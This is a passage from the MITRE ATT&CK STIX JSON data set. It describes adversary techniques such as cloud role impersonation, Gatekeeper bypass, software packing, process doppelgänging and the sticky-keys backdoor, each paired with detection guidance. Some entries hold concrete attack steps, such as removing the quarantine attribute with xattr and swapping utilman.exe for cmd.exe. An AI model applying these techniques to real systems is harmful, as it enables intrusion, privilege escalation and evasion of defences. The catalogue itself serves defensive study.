                    "url": "https://www.hunters.security/en/blog/delefriend-a-newly-discovered-design-flaw-in-domain-wide-delegation-could-leave-google-workspace-vulnerable-for-takeover"
                },
                {
                    "source_name": "Palo Alto Unit 42 Google Workspace Domain Wide Delegation 2023",
                    "description": "Zohar Zigdon. (2023, November 30). Exploring a Critical Risk in Google Workspace's Domain-Wide Delegation Feature. Retrieved January 16, 2024.",
                    "url": "https://unit42.paloaltonetworks.com/critical-risk-in-google-workspace-delegation-feature/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T23:15:17.608Z",
            "name": "Temporary Elevated Cloud Access",
            "description": "Adversaries may abuse permission configurations that allow them to gain temporarily elevated access to cloud resources. Many cloud environments allow administrators to grant user or service accounts permission to request just-in-time access to roles, impersonate other accounts, pass roles onto resources and services, or otherwise gain short-term access to a set of privileges that may be distinct from their own. \n\nJust-in-time access is a mechanism for granting additional roles to cloud accounts in a granular, temporary manner. This allows accounts to operate with only the permissions they need on a daily basis, and to request additional permissions as necessary. Sometimes just-in-time access requests are configured to require manual approval, while other times the desired permissions are automatically granted.(Citation: Azure Just in Time Access 2023)\n\nAccount impersonation allows user or service accounts to temporarily act with the permissions of another account. For example, in GCP users with the `iam.serviceAccountTokenCreator` role can create temporary access tokens or sign arbitrary payloads with the permissions of a service account, while service accounts with domain-wide delegation permission are permitted to impersonate Google Workspace accounts.(Citation: Google Cloud Service Account Authentication Roles)(Citation: Hunters Domain Wide Delegation Google Workspace 2023)(Citation: Google Cloud Just in Time Access 2023)(Citation: Palo Alto Unit 42 Google Workspace Domain Wide Delegation 2023) In Exchange Online, the `ApplicationImpersonation` role allows a service account to use the permissions associated with specified user accounts.(Citation: Microsoft Impersonation and EWS in Exchange) \n\nMany cloud environments also include mechanisms for users to pass roles to resources that allow them to perform tasks and authenticate to other services. While the user that creates the resource does not directly assume the role they pass to it, they may still be able to take advantage of the role's access -- for example, by configuring the resource to perform certain actions with the permissions it has been granted. In AWS, users with the `PassRole` permission can allow a service they create to assume a given role, while in GCP, users with the `iam.serviceAccountUser` role can attach a service account to a resource.(Citation: AWS PassRole)(Citation: Google Cloud Service Account Authentication Roles)\n\nWhile users require specific role assignments in order to use any of these features, cloud administrators may misconfigure permissions. This could result in escalation paths that allow adversaries to gain access to resources beyond what was originally intended.(Citation: Rhino Google Cloud Privilege Escalation)(Citation: Rhino Security Labs AWS Privilege Escalation)\n\n**Note:** this technique is distinct from [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003), which involves assigning permanent roles to accounts rather than abusing existing permissions structures to gain temporarily elevated access to resources. However, adversaries that compromise a sufficiently privileged account may grant another account they control [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) that would allow them to also abuse these features. This may also allow for greater stealth than would be had by directly using the highly privileged account, especially when logs do not clarify when role impersonation is taking place.(Citation: CrowdStrike StellarParticle January 2022)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
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            "x_mitre_contributors": [
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            "x_mitre_detection": "",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "Office Suite",
                "Identity Provider"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "User Account: User Account Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf",
            "created": "2017-05-31T21:31:37.917Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1125",
                    "external_id": "T1125"
                },
                {
                    "source_name": "objective-see 2017 review",
                    "description": "Patrick Wardle. (n.d.). Retrieved March 20, 2018.",
                    "url": "https://objective-see.com/blog/blog_0x25.html"
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            ],
            "modified": "2025-04-25T15:15:42.332Z",
            "name": "Video Capture",
            "description": "An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen.\n\nIn macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)",
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                {
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                    "phase_name": "collection"
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Praetorian"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.",
            "x_mitre_domains": [
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            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "macOS",
                "Linux"
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            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "Command: Command Execution"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--6fb6408c-0db3-41d9-a3a1-a32e5f16454e",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1144",
                    "external_id": "T1144"
                },
                {
                    "source_name": "Methods of Mac Malware Persistence",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
                },
                {
                    "source_name": "Clearing quarantine attribute",
                    "description": "Rich Trouton. (2012, November 20). Clearing the quarantine extended attribute from downloaded applications. Retrieved July 5, 2017.",
                    "url": "https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/"
                },
                {
                    "source_name": "OceanLotus for OS X",
                    "description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.",
                    "url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update"
                },
                {
                    "source_name": "Bypassing Gatekeeper",
                    "description": "Thomas Reed. (2016, March 31). Bypassing Apple's Gatekeeper. Retrieved July 5, 2017.",
                    "url": "https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/"
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            "modified": "2025-04-25T15:15:42.510Z",
            "name": "Gatekeeper Bypass",
            "description": "In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called <code>com.apple.quarantine</code>. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution. \n\nApps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won\u2019t set this flag. Additionally, other utilities or events like drive-by downloads don\u2019t necessarily set it either. This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command <code>xattr /path/to/MyApp.app</code> for <code>com.apple.quarantine</code>. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, <code>sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app</code>. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)\n \nIn typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS\u2019s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)",
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                    "phase_name": "defense-evasion"
                }
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitoring for the removal of the <code>com.apple.quarantine</code> flag by a user instead of the operating system is a suspicious action and should be examined further. Monitor and investigate attempts to modify extended file attributes with utilities such as <code>xattr</code>. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.2"
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            "spec_version": "2.1",
            "id": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88",
            "created": "2017-05-31T21:30:43.472Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1045",
                    "external_id": "T1045"
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                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/570.html",
                    "external_id": "CAPEC-570"
                },
                {
                    "source_name": "Wikipedia Exe Compression",
                    "description": "Executable compression. (n.d.). Retrieved December 4, 2014.",
                    "url": "http://en.wikipedia.org/wiki/Executable_compression"
                },
                {
                    "source_name": "ESET FinFisher Jan 2018",
                    "description": "Kafka, F. (2018, January). ESET's Guide to Deobfuscating and Devirtualizing FinFisher. Retrieved August 12, 2019.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf"
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            "modified": "2025-04-25T15:15:42.708Z",
            "name": "Software Packing",
            "description": "Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.\n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.\n\nAdversaries may use virtual machine software protection as a form of software packing to protect their code. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018)",
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                    "phase_name": "defense-evasion"
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            "x_mitre_contributors": [
                "Filip Kafka, ESET"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.2"
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            "spec_version": "2.1",
            "id": "attack-pattern--7007935a-a8a7-4c0b-bd98-4e85be8ed197",
            "created": "2020-01-14T17:19:50.978Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1055/013",
                    "external_id": "T1055.013"
                },
                {
                    "source_name": "Microsoft TxF",
                    "description": "Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December 20, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx"
                },
                {
                    "source_name": "Microsoft Basic TxF Concepts",
                    "description": "Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx"
                },
                {
                    "source_name": "Microsoft Where to use TxF",
                    "description": "Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved December 20, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx"
                },
                {
                    "source_name": "BlackHat Process Doppelg\u00e4nging Dec 2017",
                    "description": "Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction: Process Doppelg\u00e4nging. Retrieved December 20, 2017.",
                    "url": "https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf"
                },
                {
                    "source_name": "hasherezade Process Doppelg\u00e4nging Dec 2017",
                    "description": "hasherezade. (2017, December 18). Process Doppelg\u00e4nging \u2013 a new way to impersonate a process. Retrieved December 20, 2017.",
                    "url": "https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/"
                },
                {
                    "source_name": "Microsoft PsSetCreateProcessNotifyRoutine routine",
                    "description": "Microsoft. (n.d.). PsSetCreateProcessNotifyRoutine routine. Retrieved December 20, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx"
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            "modified": "2025-04-25T14:47:03.621Z",
            "name": "Process Doppelg\u00e4nging",
            "description": "Adversaries may inject malicious code into process via process doppelg\u00e4nging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelg\u00e4nging is a method of executing arbitrary code in the address space of a separate live process. \n\nWindows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nAdversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055). Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), process doppelg\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelg\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as <code>NtUnmapViewOfSection</code>, <code>VirtualProtectEx</code>, and <code>SetThreadContext</code>. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nProcess Doppelg\u00e4nging is implemented in 4 steps (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017):\n\n* Transact \u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load \u2013 Create a shared section of memory and load the malicious executable.\n* Rollback \u2013 Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate \u2013 Create a process from the tainted section of memory and initiate execution.\n\nThis behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelg\u00e4nging may evade detection from security products since the execution is masked under a legitimate process. ",
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            "x_mitre_domains": [
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            "id": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "created": "2017-05-31T21:30:27.342Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1016",
                    "external_id": "T1016"
                },
                {
                    "source_name": "Mandiant APT41 Global Intrusion ",
                    "description": "Gyler, C.,Perez D.,Jones, S.,Miller, S.. (2021, February 25). This is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved February 17, 2022.",
                    "url": "https://www.mandiant.com/resources/apt41-initiates-global-intrusion-campaign-using-multiple-exploits"
                },
                {
                    "source_name": "Trellix Rnasomhouse 2024",
                    "description": "Pham Duy Phuc, Max Kersten, No\u00ebl Keijzer, and Micha\u00ebl Schrijver. (2024, February 14). RansomHouse am See. Retrieved March 26, 2025.",
                    "url": "https://www.trellix.com/en-au/blogs/research/ransomhouse-am-see/"
                },
                {
                    "source_name": "US-CERT-TA18-106A",
                    "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
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            "name": "System Network Configuration Discovery",
            "description": "Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101), [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).\n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather information about configurations and settings, such as IP addresses of configured interfaces and static/dynamic routes (e.g. <code>show ip route</code>, <code>show ip interface</code>).(Citation: US-CERT-TA18-106A)(Citation: Mandiant APT41 Global Intrusion ) On ESXi, adversaries may leverage esxcli to gather network configuration information. For example, the command `esxcli network nic list` will retrieve the MAC address, while `esxcli network ip interface ipv4 get` will retrieve the local IPv4 address.(Citation: Trellix Rnasomhouse 2024)\n\nAdversaries may use the information from [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016) during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next. ",
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            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "macOS",
                "Windows",
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                "ESXi"
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            "x_mitre_data_sources": [
                "Command: Command Execution",
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                "Process: Process Creation",
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        },
        {
            "type": "attack-pattern",
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            "id": "attack-pattern--70857657-bd0b-4695-ad3e-b13f92cac1b4",
            "created": "2020-06-16T17:23:06.508Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1578/003",
                    "external_id": "T1578.003"
                },
                {
                    "source_name": "AWS CloudTrail Search",
                    "description": "Amazon. (n.d.). Search CloudTrail logs for API calls to EC2 Instances. Retrieved June 17, 2020.",
                    "url": "https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/"
                },
                {
                    "source_name": "Cloud Audit Logs",
                    "description": "Google. (n.d.). Audit Logs. Retrieved June 1, 2020.",
                    "url": "https://cloud.google.com/logging/docs/audit#admin-activity"
                },
                {
                    "source_name": "Mandiant M-Trends 2020",
                    "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved November 17, 2024.",
                    "url": "https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf"
                },
                {
                    "source_name": "Azure Activity Logs",
                    "description": "Microsoft. (n.d.). View Azure activity logs. Retrieved June 17, 2020.",
                    "url": "https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T22:16:21.146Z",
            "name": "Delete Cloud Instance",
            "description": "An adversary may delete a cloud instance after they have performed malicious activities in an attempt to evade detection and remove evidence of their presence.  Deleting an instance or virtual machine can remove valuable forensic artifacts and other evidence of suspicious behavior if the instance is not recoverable.\n\nAn adversary may also [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and later terminate the instance after achieving their objectives.(Citation: Mandiant M-Trends 2020)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Arun Seelagan, CISA"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "The deletion of a new instance or virtual machine is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities. For example, detecting a sequence of events such as the creation of an instance, mounting of a snapshot to that instance, and deletion of that instance by a new user account may indicate suspicious activity.\n\nIn AWS, CloudTrail logs capture the deletion of an instance in the <code>TerminateInstances</code> event, and in Azure the deletion of a VM may be captured in Azure activity logs.(Citation: AWS CloudTrail Search)(Citation: Azure Activity Logs) Google's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of <code>gcloud compute instances delete</code> to delete a VM.(Citation: Cloud Audit Logs)",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "IaaS"
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            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Instance: Instance Metadata",
                "Instance: Instance Deletion"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--70910fbd-58dc-4c1c-8c48-814d11fcd022",
            "created": "2022-08-09T13:01:43.314Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1593/003",
                    "external_id": "T1593.003"
                },
                {
                    "source_name": "GitHub Cloud Service Credentials",
                    "description": "Runa A. Sandvik. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved August 9, 2022.",
                    "url": "https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/"
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            "modified": "2025-04-15T22:04:43.188Z",
            "name": "Code Repositories",
            "description": "Adversaries may search public code repositories for information about victims that can be used during targeting. Victims may store code in repositories on various third-party websites such as GitHub, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git.  \n\nAdversaries may search various public code repositories for various information about a victim. Public code repositories can often be a source of various general information about victims, such as commonly used programming languages and libraries as well as the names of employees. Adversaries may also identify more sensitive data, including accidentally leaked credentials or API keys.(Citation: GitHub Cloud Service Credentials) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)). \n\n**Note:** This is distinct from [Code Repositories](https://attack.mitre.org/techniques/T1213/003), which focuses on [Collection](https://attack.mitre.org/tactics/TA0009) from private and internally hosted code repositories. ",
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                {
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                    "phase_name": "reconnaissance"
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            "x_mitre_contributors": [
                "Matt Burrough, @mattburrough, Microsoft",
                "Vinayak Wadhwa, SAFE Security"
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            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. \n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
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            "x_mitre_version": "1.0"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--70d81154-b187-45f9-8ec5-295d01255979",
            "created": "2020-03-13T11:12:18.558Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1574/005",
                    "external_id": "T1574.005"
                },
                {
                    "source_name": "mozilla_sec_adv_2012",
                    "description": "Robert Kugler. (2012, November 20). Mozilla Foundation Security Advisory 2012-98. Retrieved March 10, 2017.",
                    "url": "https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/"
                },
                {
                    "source_name": "Executable Installers are Vulnerable",
                    "description": "Stefan Kanthak. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation of privilege. Retrieved December 4, 2014.",
                    "url": "https://seclists.org/fulldisclosure/2015/Dec/34"
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            "modified": "2025-04-15T19:58:41.123Z",
            "name": "Executable Installer File Permissions Weakness",
            "description": "Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002). Several examples of this weakness in existing common installers have been reported to software vendors.(Citation: mozilla_sec_adv_2012)  (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.",
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
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                    "kill_chain_name": "mitre-attack",
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            "x_mitre_contributors": [
                "Travis Smith, Tripwire",
                "Stefan Kanthak"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Service: Service Metadata",
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                "File: File Creation",
                "Process: Process Creation",
                "Module: Module Load"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5",
            "created": "2020-01-24T14:32:40.315Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1546/008",
                    "external_id": "T1546.008"
                },
                {
                    "source_name": "Narrator Accessibility Abuse",
                    "description": "Comi, G. (2019, October 19). Abusing Windows 10 Narrator's 'Feedback-Hub' URI for Fileless Persistence. Retrieved April 28, 2020.",
                    "url": "https://giuliocomi.blogspot.com/2019/10/abusing-windows-10-narrators-feedback.html"
                },
                {
                    "source_name": "FireEye Hikit Rootkit",
                    "description": "Glyer, C., Kazanciyan, R. (2012, August 20). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 1). Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20190216180458/https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html"
                },
                {
                    "source_name": "DEFCON2016 Sticky Keys",
                    "description": "Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to the Kingdom. Retrieved July 5, 2017.",
                    "url": "https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom"
                },
                {
                    "source_name": "Tilbury 2014",
                    "description": "Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20200730053039/https://www.crowdstrike.com/blog/registry-analysis-with-crowdresponse/"
                }
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            "modified": "2025-04-15T19:58:41.211Z",
            "name": "Accessibility Features",
            "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by accessibility features. Windows contains accessibility features that may be launched with a key combination before a user has logged in (ex: when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are <code>C:\\Windows\\System32\\sethc.exe</code>, launched when the shift key is pressed five times and <code>C:\\Windows\\System32\\utilman.exe</code>, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways. Common methods used by adversaries include replacing accessibility feature binaries or pointers/references to these binaries in the Registry. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in <code>%systemdir%\\</code>, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The [Image File Execution Options Injection](https://attack.mitre.org/techniques/T1546/012) debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced.\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., <code>C:\\Windows\\System32\\utilman.exe</code>) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)(Citation: Narrator Accessibility Abuse)\n\n* On-Screen Keyboard: <code>C:\\Windows\\System32\\osk.exe</code>\n* Magnifier: 